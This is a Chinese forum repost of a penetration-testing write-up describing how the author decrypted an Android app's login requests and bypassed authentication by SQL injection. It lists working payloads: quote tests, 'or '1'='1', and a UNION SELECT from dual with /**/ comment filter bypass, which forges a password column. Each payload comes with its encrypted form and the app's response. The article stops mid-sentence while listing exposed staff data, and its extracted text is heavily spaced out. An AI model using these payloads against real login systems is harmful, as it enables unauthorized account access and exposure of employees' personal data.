搜索

[18147] 2020-09-27_App渗透-从SQL注入到人脸识别登录绕过

文档创建者：s7ckTeam
浏览次数：32
最后更新：2025-01-18
2020-09-27_App渗透-从SQL注入到人脸识别登录绕过 A p p 渗 透   -   从 S Q L 注 入 到 人 脸 识 别 登 录 绕 过 B r o k e n 5   H A C K 之 道   2 0 2 0 - 0 9 - 2 7 作 者 ： B r o k e n 5             文 章 来 源 ： 先 知 社 区 A p p 渗 透 渗 透   -   人 脸 识 别 登 录 绕 过 人 脸 识 别 登 录 绕 过 打 开 A P P 是 一 个 登 录 框
抓 包 后 发 现 参 数 被 加 密 了 使 用 脱 源 码 发 现 ， 并 没 有 加 壳 也 没 有 混 淆 ， 运 气 很 好 J a d x
根 据 经 验 ， 先 搜 索 等 关 键 字 ， 发 现 在 C o m m o n . j s 中 有 一 个 函 数 E n c r y p t 、 D e c r y p t e n c r y p t D a t a
定 位 过 去 ， 一 套 加 解 密 算 法 都 写 好 了 放 在 这
放 到 浏 览 器 c o n s o l e 里 面 调 试 ， 果 然 没 错 首 先 测 试 了 一 下 注 入 明 文 ： { " u s e r N a m e " : " T E S T ' " , " p a s s W o r d " : " 1 2 3 4 5 6 " , " o s T y p e " : " a n d r o i d " , " o s V e r s i o n " : " 5 . 1 . 1 " , " a p p V e r s i o n " : " 2 0 . 0 6 . 0 4 " , " l o g i n T y p e " : " 1 " , " m o d e l " : " V 1 9 3 8 T " , " b r a n d " : " v i v o " , " i m e i " : " 8 6 5 1 6 6 0 2 3 3 0 9 4 3 1 " , " v e r s i o n " : " n e w " } 密 文 ： Q S X B D U S V 0 Q p J k d 5 t W Y R 9 0 S s h k W z Z F V i p k W U N F c K 1 G Z z p k e Z V j W W J 2 a s J D Z w x W R l 5 k U r R V M F t W Z O B H W T V U M r 1 k W S Z F V 4 t m R S B F b y I W c s V 0 Y X R G b Z d H c w E V T s d 0 T 0 J 1 R j F W N X N l M r B T U h Z l b S R n T X F 2 S O V E V w Z E b S B F c z E W V x A j V L x m M U B H Z z Y V Y 0 d 1 T Y p 0 V h N D b X N F N s V V Y Q x 2 V W h k T X 5 0 U 4 1 W W 3 J V b N l m T u N F R 4 V V Y S J V V U F D b G J l T W h V U x F T V h Z H c X N V M s p n V o B n b T l F c x Y 1 Q o B T W v B H M R 1 E b X J V c 4 V U Z w 0 E b U B X O t F m S W h 1 T Y Z U b l t E a s d F W 1 A T T p x m M k B H b w E 2 c K p W W 1 o k V i l G a t N F c 5 U V Y W R G M Z F T S W 1 k a a 5 2 U E h X V h p l U s R 1 d w s W Y O h G W T B X O V F m U x I T W y I 1 V N p G c u J F S O d V Y z w 2 V T V n R W 1 k V a t W V z x 2 a O p k T s d F M a V l Y V x m b W l X T X 1 0 S s h l W 结 果 ： A p p 返 回 异 常
明 文 ： { " u s e r N a m e " : " T E S T ' ' " , " p a s s W o r d " : " 1 2 3 4 5 6 " , " o s T y p e " : " a n d r o i d " , " o s V e r s i o n " : " 5 . 1 . 1 " , " a p p V e r s i o n " : " 2 0 . 0 6 . 0 4 " , " l o g i n T y p e " : " 1 " , " m o d e l " : " V 1 9 3 8 T " , " b r a n d " : " v i v o " , " i m e i " : " 8 6 5 1 6 6 0 2 3 3 0 9 4 3 1 " , " v e r s i o n " : " n e w " } 密 文 ： J d F M Q J V R D l m Q 2 l 3 a h J l W X F m a o x 2 V x A X V h B F b H 5 U e J d 0 Y P V j M Z N H c s J m S O h 1 U U F z a l J l U x Q 1 M x s W Z O x G W R F X N r 1 k R S x G V 5 N W b h p k W U N F V G d k Y 4 N m V Z B H Z Y F m S a 5 2 V Z Z U b N t E b y Q F c G Z l Y p h W b T V H b W F 2 M s d 1 U W h W b l 5 k V U J V c a Z V Y 2 B 3 V T p n W x I V Y a h V T 0 x G M j p k T W R F c 5 0 W Y K h X b R l l V X Z V M j Z V W 1 x m e S l G b y Q G c s V U T C B 3 R U l X R r F W T k h 1 U x x 2 a O p E b t l l M 4 1 W T q x m b W R n W x Q 2 Q o Z 1 V w R G W h p E a I 5 E V x U F Z W B 3 V T J z a V F W a a h k Y 5 1 0 V l d V M t Z l N s R l Y K 5 E W T R E c G N W N w I T W y Z l e W p F b y I W c s V k Y D h m V a Z V N w 0 U a s J D Z w x 2 a N Z l U r R l N s V k V O x m M i F H b w E 2 S O p W W Z V D M N p G a t F V d s B z Y K x m b T V n R W 1 k V a t W V z x 2 a O p k T s d F M a V l Y V x m b W l X T X 1 0 S s h l W 结 果 ： A p p 返 回 正 常 明 文 ： { " u s e r N a m e " : " T E S T ' o r ' 1 ' = ' 1 " , " p a s s W o r d " : " 1 2 3 4 5 6 " , " o s T y p e " : " a n d r o i d " , " o s V e r s i o n " : " 5 . 1 . 1 " , " a p p V e r s i o n " : " 2 0 . 0 6 . 0 4 " , " l o g i n T y p e " : " 1 " , " m o d e l " : " V 1 9 3 8 T " , " b r a n d " : " v i v o " , " i m e i " : " 8 6 5 1 6 6 0 2 3 3 0 9 4 3 1 " , " v e r s i o n " : " n e w " } 密 文 ： k 0 V w A l U F N U a C Z X e r F W R s p F c O d 0 V h Z l b T B X O V F G M J p W W 3 V z a i p G e t d V d s B z Y K 5 k V U Z j R G Z F U k h F V 2 E T V l J E c t R V e V V k V P p k e a F H b r 5 k S O Z V W z Z k e W h G b y Q G c s t G Z h h m V Z l 3 b V F G U s d V V 0 p 0 R h t U N X d F c k h V Y K Z l R h Z T M V 5 k R w 1 m V w l T b h p k T u Z F S w x G Z 4 B z V T p H b w U l T s J j Y x x W R i N E a W p l V W p n V o V z V P h k S X F 2 M s d 1 U 3 V 0 a h 1 k S U F V c 4 B D Z K B 3 V T J z a V F W a a h k Y 5 1 0 V l d V M t Z 1 M K V 0 V a x m M k B H b F V G M N Z F V x Y F b h p k W U N F c K 1 G Z z p k e Z V j W W J 2 V w h 1 T 0 x G M j p k T r d 1 d s R l Y q R 3 V O h F b W F m d w d 1 U z p U R X x m V s R l e J d V Y z w 2 V T l X V G J 1 T w h 1 U V F T V h Z H c X N l c w B T T p h G b U p X T H F 2 Q 1 c 1 U 6 x W V l t E b 6 l F V x s m Y K 5 k a Z V n R W 1 k V a t W V z x 2 a O p k T s d F M a V l Y V x m b W l X T X 1 0 S s h l W 结 果 ： A p p 返 回 正 常
至 此 已 经 可 以 判 断 该 登 录 点 就 是 一 个 注 入 了 ， 可 是 返 回 结 果 始 终 都 是 “ 用 户 名 或 密 码 错 ” 即 使 用 了 根 据 返 回 结 果 推 测 ， 后 端 的 登 录 处 的 逻 辑 代 码 可 能 是 这 样 的 通 过 U n i o n 注 入 构 造 万 能 密 码 ， 是 可 以 造 成 任 意 用 户 登 陆 的 ， 测 试 过 程 如 下 先 使 用 测 试 ， 得 知 字 段 的 数 量 为 9 个 ， 构 造 '   o r   ' 1 ' = ' 1 u s e r I n f o   =   ' s e l e c t   *   f r o m   u s e r i n f o   w h e r e   u s e r n a m e   =   < u s e r N a m e > ' ; u s e r P a s s   =   u s e r I n f o . p a s s w o r d ; i f   ( u s e r P a s s   = =   < p a s s W o r d > ) {         r e t u r n   ' L o g i n   s u c c e s s ' ; } e l s e {         r e t u r n   ' L o g i n   f a i l e d ' ; } o r d e r   b y p a y l o a d #   由 于 目 标 服 务 器 带 有 过 滤 ， 所 以 这 里 简 单 的 b y p a s s 一 下 明 文 ： { " u s e r N a m e " : " T E S T ' u n i o n / * * / s e l e c t / * * / n u l l , n u l l , n u l l , n u l l , n u l l , n u l l , n u l l , n u l l , n u l l   f r o m   d u a l - -   " , " p a s s W o r d " : " 1 2 3 4 5 6 " , " o s T y p e " : " a n d r o i d " , " o s V e r s i o n " : " 5 . 1 . 1 " , " a p p V e r s i o n " : " 2 0 . 0 6 . 0 4 " , " l o g i n T y p e " : " 1 " , " m o d e l " : " V 1 9 3 8 T " , " b r a n d " : " v i v o " , " i m e i " : " 8 6 5 1 6 6 0 2 3 3 0 9 4 3 1 " , " v e r s i o n " : " n e w " } 密 文 ： J d F M Q J V R D l m Q 2 l 3 a h F k a i p k T q Z F d K d V Y 2 B 3 V T F D b 6 Z F a w 5 2 U Z B H b N t k T F R F c W t W Z O J k e h V U M r V m T w d F V z w G b h 9 E a Y Z V c 1 U k T K x m M U B H d y Y V Y S h k Y 0 x G M j p E b u l V e 3 d l Y r x m M i F H b w E W M j Z 1 V 1 A X V i p k T Y N F R a Z k T O J V M U R D b G J m S a R 1 U E p 0 R i N l S q l F M w B T U N x 2 V S F H b r 5 k S O x 2 V z g 3 R T d l V I J W e v x G Z 0 E z V T p H b w E 1 T k h k T w V D M k B T T V R V N s V V Y Q x 2 R O l X S H N 2 T 1 I T W z B H b S p G Z u J F d s B z Y K 5 k V U F j V r F W T G R 1 U w l T V h B T S q l 1 d 1 s m Y q h X b X h X T t R 2 S O V E V w Z U M W h m W u N V S w Z F Z H F z V T J z a w U V Y k h k Y J p F b l V D M X N l e s V V Y P Z E V V Z T M V V m R w d 1 U y s G M R F G b Y 9 U e Z x W Z P h m V X N D c w E V T s d V U U h X R k J k T r l 1 b a Z 0 U h R 2 R N l X S X V W Y k V 1 U 6 h 2 M W t m V I V G R K J z Y X V T b Z p H Z z I V a G R l T I h H M j R D Z G p V M o N T U p 5 k b W V n S y M 2 M k t W W 4 V l e S 1 k T I V G W S d F Z 0 4 0 a Z p n W s J W a O N D Z I p 0 V N F T S E R F e 5 c V Z N J k a U h F c x M 2 V K p X W y k z V h x k W I 5 U e J d 0 Y x M m R a V n R W 1 k V a t W V z x 2 a O p k T s d F M a V l Y V x m b W l X T X 1 0 S s h l W 结 果 ： A p p 返 回 成 功
由 于 在 进 行 查 询 时 ， 所 对 应 的 字 段 数 据 类 型 也 必 须 相 同 ， 所 以 还 要 进 行 字 段 数 据 类 型 的 测 试 ， 最 终 结 果 如 下 O r a c l e u n i o n #   注 意 这 里 p a s s W o r d 我 修 改 成 了 1 2 3 ， 用 来 测 试 U n i o n 构 造 的 万 能 密 码 是 否 可 行 明 文 ： { " u s e r N a m e " : " T E S T ' u n i o n / * * / s e l e c t / * * / 1 , ' 1 2 3 ' , ' 1 2 3 ' , ' 1 2 3 ' , ' 1 2 3 ' , ' 1 2 3 ' , ' 1 2 3 ' , ' 1 2 3 ' , 1   f r o m   d u a l - -   " , " p a s s W o r d " : " 1 2 3 " , " o s T y p e " : " a n d r o i d " , " o s V e r s i o n " : " 5 . 1 . 1 " , " a p p V e r s i o n " : " 2 0 . 0 6 . 0 4 " , " l o g i n T y p e " : " 1 " , " m o d e l " : " V 1 9 3 8 T " , " b r a n d " : " v i v o " , " i m e i " : " 8 6 5 1 6 6 0 2 3 3 0 9 4 3 1 " , " v e r s i o n " : " n e w " } 密 文 ： Q S X B D U S V 0 Q p J k d 5 t W Y B 1 U d s B T T X F T b Z B X O t F m S W h 1 T Y Z U b l t E a s d V e v B T U N x 2 V S Z T M F 1 k c S V F V 2 E z a h 5 E Z Y d V c 1 U U Z W B X b U B z a V F G U s J T Y Y B n R k N X M X N l e s V V Z p p E R i R n U X F m d w d 1 U y Z l e W p F b u N F d s B z Y K 5 0 a W B D M F Z F U o h 1 V z x 2 a O p k T r l 1 c K x W T p J l b T R E e V F m R w d 1 U y s G M V F G Z I J W S a Z F Z z p k a X J D a Y J m S O h 1 U E V D M k B z a t R 1 M S p X U O x G W T B X O V F G M J p W W 3 V z a i p G e t d 1 R O J D Z H F z V T p H b w U l T W h l U x h X V N p E b y Q F c S p W T p J k b U V n T H J W Y G p X W y A H M R 1 E b X V F W G 1 G Z L h 2 a X F j W V J m S a R 1 U U B X M k N H a r Z l N s R l Y K 5 E W T V T M V V m R w d 1 U y s G M R F G b Y 9 U e Z x W Z P h m V X N D c w E V T s d V U U h X R k N D Z W d F e J F j U K J F W P R n T X J 2 Q O Z F V 6 5 0 V l 5 E b Y J l N w B z Y q x G W U V j V r V 2 S O N T W 1 E T V l Z E c u N l e O d V Z O x G W S Z D c w M m a s h F V 1 Y 1 a l t k T z k V N x U V Z G B n b T p n T X V m T s h l U 2 A H M j Z E c I R F e 5 c V Z N J k a U h F c x M 2 V K p X W y k z V h x k W I 5 U e J d 0 Y x M m R a V n R W 1 k V a t W V z x 2 a O p k T s d F M a V l Y V x m b W l X T X 1 0 S s h l W 结 果 ： 提 示 是 弱 密 码 （ 说 明 此 方 法 可 行 ）
接 下 来 就 是 一 个 字 段 一 个 字 段 的 改 过 去 ， 判 断 哪 个 字 段 对 应 的 是 密 码 字 段 ， 测 试 结 果 如 下 在 绕 过 后 ， 发 现 程 序 出 现 了 异 常 #   注 意 这 里 p a s s W o r d 我 修 改 成 了 C e s h i 1 2 3 @ @ @ ， 不 再 是 弱 口 令 了 明 文 ： { " u s e r N a m e " : " T E S T ' u n i o n / * * / s e l e c t / * * / 1 , ' 1 2 3 ' , ' 1 2 3 ' , ' C e s h i 1 2 3 @ @ @ ' , ' 1 2 3 ' , ' 1 2 3 ' , ' 1 2 3 ' , ' 1 2 3 ' , 1   f r o m   d u a l - -   " , " p a s s W o r d " : " C e s h i 1 2 3 @ @ @ " , " o s T y p e " : " a n d r o i d " , " o s V e r s i o n " : " 5 . 1 . 1 " , " a p p V e r s i o n " : " 2 0 . 0 6 . 0 4 " , " l o g i n T y p e " : " 1 " , " m o d e l " : " V 1 9 3 8 T " , " b r a n d " : " v i v o " , " i m e i " : " 8 6 5 1 6 6 0 2 3 3 0 9 4 3 1 " , " v e r s i o n " : " n e w " } 密 文 ： k 0 V w A l U F N U a C Z X e r F W U P t E b I p 1 c W R l Y K p F V T B n S t R 2 c K p X W 1 o l V i t G b y Q G c s V U Z O J 1 a U F T R r V m T w h 1 U F F z a N p l U W R F e r Z k U Q x m M i F H b F N 2 V k x W W 3 B H M R 1 E b H 9 E d S d 0 Y h V z V T J z a w E V Y W 5 m U 0 5 0 V h t k T F R F c G x m U Q B 3 M h V V M w Y 1 S s J D V w R 2 M W F G d X 9 E W K d V Y z w 2 V T R D b V F G U s d l V I 5 0 V O N F e t l 1 d S 1 W T p 5 k b T R E e V F m U S V F V x w m R S 5 k V Y F V c x U V Y 2 B 3 V T F D b 6 Z F a w 5 2 U Z B X M W N E a w k 1 b w B T U N x 2 V S F H e F V G M N x G V w l T b h p k V Y 9 E W G 1 W Z L h G b X h V N w 0 U a s J D Z w x G M h N n S q l V N K Z l Y p h W b T B X O V F m V k B T W x k k V N p m W u N F R 4 V V Y C Z V V V J U N r F m T o N T Y I Z U b l d l S U V F c 5 0 W Y K R X b T p X S H d 1 T O p X W v p 0 a i p k T Y N F R s V E Z 3 1 0 a Z 9 m W G N V Y k d U T 5 l 0 V l F G Z V N F N k h V Z L B H W T V V M r J 2 M s 5 2 U 2 w W R W 5 U N y Q W N w t W Z K J l V U V H Z Y V 2 S w h 1 U V F z a i N D b u N l Q K V l U S B H W T V V M F N 2 b K p X W z V T R N t k T z k V N x U V Z G B n b T p n T X V m T s h l U 2 A H M j Z E c I R F e 5 c V Z N J k a U h F c x M 2 V K p X W y k z V h x k W I 5 U e J d 0 Y x M m R a V n R W 1 k V a t W V z x 2 a O p k T s d F M a V l Y V x m b W l X T X 1 0 S s h l W 结 果 ： 提 示 登 录 成 功
仔 细 观 察 返 回 的 数 据 ， 其 中 有 u s e r n a m e （ 用 户 名 ） 、 s t a f f I d （ 职 工 号 ） 、 e m a i l （ 邮 箱 ） 、 s t a f f N a m e （ 姓 名 ） 、 t e l （ 手 机 号 ） 、
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理